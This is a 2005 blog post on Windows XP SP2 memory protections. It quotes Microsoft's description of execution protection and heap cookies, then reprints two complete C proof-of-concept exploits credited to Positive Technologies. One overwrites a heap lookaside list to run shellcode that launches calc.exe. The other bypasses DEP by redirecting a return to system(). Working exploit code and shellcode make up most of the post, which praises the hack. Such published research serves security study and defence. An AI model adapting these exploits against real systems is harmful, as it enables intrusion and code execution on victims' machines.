Sunday, January 30, 2005

Windows XP SP2 Heap Protection Broken

Computer Chip

Looks like the guys at Positive Technology has broken the new XP SP2 Heap protection. Here's a brief reminder of what the protection entails from the paper:


Memory protection
Buffer overrun attacks are among the most common mechanisms, or vectors, for intrusion into computers. In this type of exploit, the attacker sends a long string to an input stream or control – longer than the memory buffer allocated to hold it. The long string injects code into the system, which is executed, launching a virus or worm.

Windows XP Service Pack 2 uses two general categories of protection measures to inhibit buffer-overrun attacks. On CPUs that support it, the operating system can turn on the execution protection bit for virtual memory pages that are supposed to hold only data. On all CPUs, the operating system is now more careful to reduce both stack and heap buffer overruns, using "sandboxing" techniques.

Execution Protection (NX)
On the 64-bit AMD K8 and Intel Itanium processor families, the CPU hardware can mark memory with an attribute that indicates that code should not be executed from that memory. This execution protection (NX) feature functions on a per-virtual memory page basis, most often changing a bit in the page table entry to mark the memory page.

On these processors, Windows XP Service Pack 2 uses the execution protection feature to prevent the execution of code from data pages. When an attempt is made to run code from a marked data page, the processor hardware raises an exception immediately and prevents the code from executing. This prevents attackers from overrunning a data buffer with code and then executing the code; it would have stopped the Blaster worm dead in its tracks.

Although the support for this feature is currently limited to 64-bit processors, Microsoft expects future 32-bit and 64-bit processors to provide execution protection.

Sandboxing
To help control this type of attack on existing 32-bit processors, Service Pack 2 adds software checks to the two types of memory storage used by native code: the stack, and the heap. The stack is used for temporary local variables with short lifetimes; stack space is automatically allocated when a function is called and released when the function exits. The heap is used by programs to dynamically allocate and free memory blocks that may have longer lifetimes.

The protection added to these two kinds of memory structures is called sandboxing. To protect the stack, all binaries in the system have been recompiled using an option that enables stack buffer security checks. A few instructions added to the calling and return sequences for functions allow the runtime libraries to catch most stack buffer overruns. This is a case where a little paranoia goes a long way.

In addition, "cookies" have been added to the heap. These are special markers at the beginning and ends of allocated buffers, which the runtime libraries check as memory blocks are allocated and freed. If the cookies are found to be missing or inconsistent, the runtime libraries know that a heap buffer overrun has occurred, and raise a software exception.


And what would an exploit be without some example code ;-) :


/*
* Defeating Windows XP SP2 Heap protection.
*
* Copyright (c) 2004 Alexander Anisimov, Positive Technologies.
*
*
* Tested on:
*
* - Windows XP SP2
* - Windows XP SP1
* - Windows 2000 SP4
* - Windows 2003 Server
*
* Contacts:
*
* anisimov@ptsecurity.com
* http://www.ptsecurity.com
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include
#include

unsigned char calc_code[]=
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x04\x03\x02\x01" // Address of system() function
"\xFF\xD1\xEB\xF7";

void fixaddr(char *ptr, unsigned int a)
{
ptr[0] = (a & 0xFF);
ptr[1] = (a & 0xFF00) >> 8;
ptr[2] = (a & 0xFF0000) >> 16;
ptr[3] = (a & 0xFF000000) >> 24;
}

int getaddr(void)
{
HMODULE lib = NULL;
unsigned int addr_func = 0;
unsigned char a[4];

// get address of system() function
lib = LoadLibrary("msvcrt.dll");
if (lib == NULL) {
printf("Error: LoadLibrary failed\n");
return -1;
}

addr_func = (unsigned int)GetProcAddress(lib, "system");
if (addr_func == 0) {
printf("Error: GetProcAddress failed\n");
return -1;
}

printf("Address of msvcrt.dll!system(): %08X\n\n", addr_func);

fixaddr(a, addr_func);
memcpy(calc_code+13, a, 4);

return 0;
}

int main(int argc, char **argv)
{
HANDLE h = NULL;
LPVOID mem1 = NULL, mem2 = NULL, mem3 = NULL;
unsigned char shellcode[128];

if (getaddr() != 0)
return 0;

// create private heap
h = HeapCreate(0, 0, 0);
if (h == NULL) {
printf("Error: HeapCreate failed\n");
return 0;
}
printf("Heap: %08X\n", h);

mem1 = HeapAlloc(h, 0, 64-8);
printf("Heap block 1: %08X\n", mem1);
mem2 = HeapAlloc(h, 0, 128-8);
printf("Heap block 2: %08X\n", mem2);

HeapFree(h, 0, mem1);
HeapFree(h, 0, mem2);

mem1 = HeapAlloc(h, 0, 64-8);
printf("Heap block 1: %08X\n", mem1);

// buffer overflow occurs here...
memset(mem1, 0x31, 64);

// fake allocation address in the stack
memcpy((char *)mem1+64, "\x84\xFF\x12\x00", 4);

// lookaside list overwrite occurs here...
mem2 = HeapAlloc(h, 0, 128-8);
printf("Heap block 2: %08X\n", mem2);

// allocate memory from the stack
mem3 = HeapAlloc(h, 0, 128-8);
printf("Heap block 3: %08X\n", mem3);

memset(shellcode, 0, sizeof(shellcode)-1);

// fake ret address
memcpy(shellcode, "\x8B\xFF\x12\x00", 4);

// shellcode - "calc.exe"
memcpy(shellcode+4, "\x90\x90\x90\x90", 4);
memcpy(shellcode+4+4, calc_code, sizeof(calc_code)-1);

// overwrite stack frame
memcpy(mem3, shellcode, sizeof(calc_code)-1+8);

return 0;
}



/*
* Defeating Windows XP SP2 Heap protection.
* Example 2: DEP bypass. (DEP is Data Execution Prevention)
*
* Copyright (c) 2004 Alexander Anisimov, Positive Technologies.
*
*
* Tested on:
*
* - Windows XP SP2
* - Windows XP SP1
* - Windows 2000 SP4
* - Windows 2003 Server
*
* Contacts:
*
* anisimov@ptsecurity.com
* http://www.ptsecurity.com
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/

#include
#include

unsigned char calc_code[]=
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x04\x03\x02\x01" // Address of system() function
"\xFF\xD1\xEB\xF7";

void fixaddr(char *ptr, unsigned int a)
{
ptr[0] = (a & 0xFF);
ptr[1] = (a & 0xFF00) >> 8;
ptr[2] = (a & 0xFF0000) >> 16;
ptr[3] = (a & 0xFF000000) >> 24;
}

int getaddr(unsigned char *a)
{
HMODULE lib = NULL;
unsigned int addr_func = 0;

// get address of system() function
lib = LoadLibrary("msvcrt.dll");
if (lib == NULL) {
printf("Error: LoadLibrary failed\n");
return -1;
}

addr_func = (unsigned int)GetProcAddress(lib, "system");
if (addr_func == 0) {
printf("Error: GetProcAddress failed\n");
return -1;
}

printf("Address of msvcrt.dll!system(): %08X\n\n", addr_func);

fixaddr(a, addr_func);

return 0;
}





int main(int argc, char **argv)
{
HANDLE h = NULL;
LPVOID mem1 = NULL, mem2 = NULL, mem3 = NULL;
unsigned char shellcode[128];

// create private heap
h = HeapCreate(0, 0, 0);
if (h == NULL) {
printf("Error: HeapCreate failed\n");
return 0;
}
printf("Heap: %08X\n", h);

mem1 = HeapAlloc(h, 0, 64-8);
printf("Heap block 1: %08X\n", mem1);
mem2 = HeapAlloc(h, 0, 128-8);
printf("Heap block 2: %08X\n", mem2);

HeapFree(h, 0, mem1);
HeapFree(h, 0, mem2);

mem1 = HeapAlloc(h, 0, 64-8);
printf("Heap block 1: %08X\n", mem1);

// buffer overflow occurs here...
memset(mem1, 0x31, 64);

// fake allocation address in the stack
memcpy((char *)mem1+64, "\x84\xFF\x12\x00", 4);

// lookaside list overwrite occurs here...
mem2 = HeapAlloc(h, 0, 128-8);
printf("Heap block 2: %08X\n", mem2);

// allocate memory from the stack
mem3 = HeapAlloc(h, 0, 128-8);
printf("Heap block 3: %08X\n", mem3);

memset(shellcode, 0, sizeof(shellcode)-1);

// “return-into-lib” method
// fake ret address -> system()

getaddr(&shellcode[0]);
memcpy(shellcode+4, "\x32\x32\x32\x32", 4);

// shellcode - "calc.exe"
memcpy(shellcode+8, "\x94\xFF\x12\x00", 4);
memcpy(shellcode+12, "\x31\x31\x31\x31", 4);
memcpy(shellcode+16, "calc", 4);
memcpy(shellcode+20, "\x0a\x31\x31\x31", 4);

// overwrite stack frame
memcpy(mem3, shellcode, 24);

return 0;
}


I really love these kind of simple hacks that circumvent a major touted feature so easily. The code is so simple it almost explains itself.

0 Comments:

Post a Comment

<< Home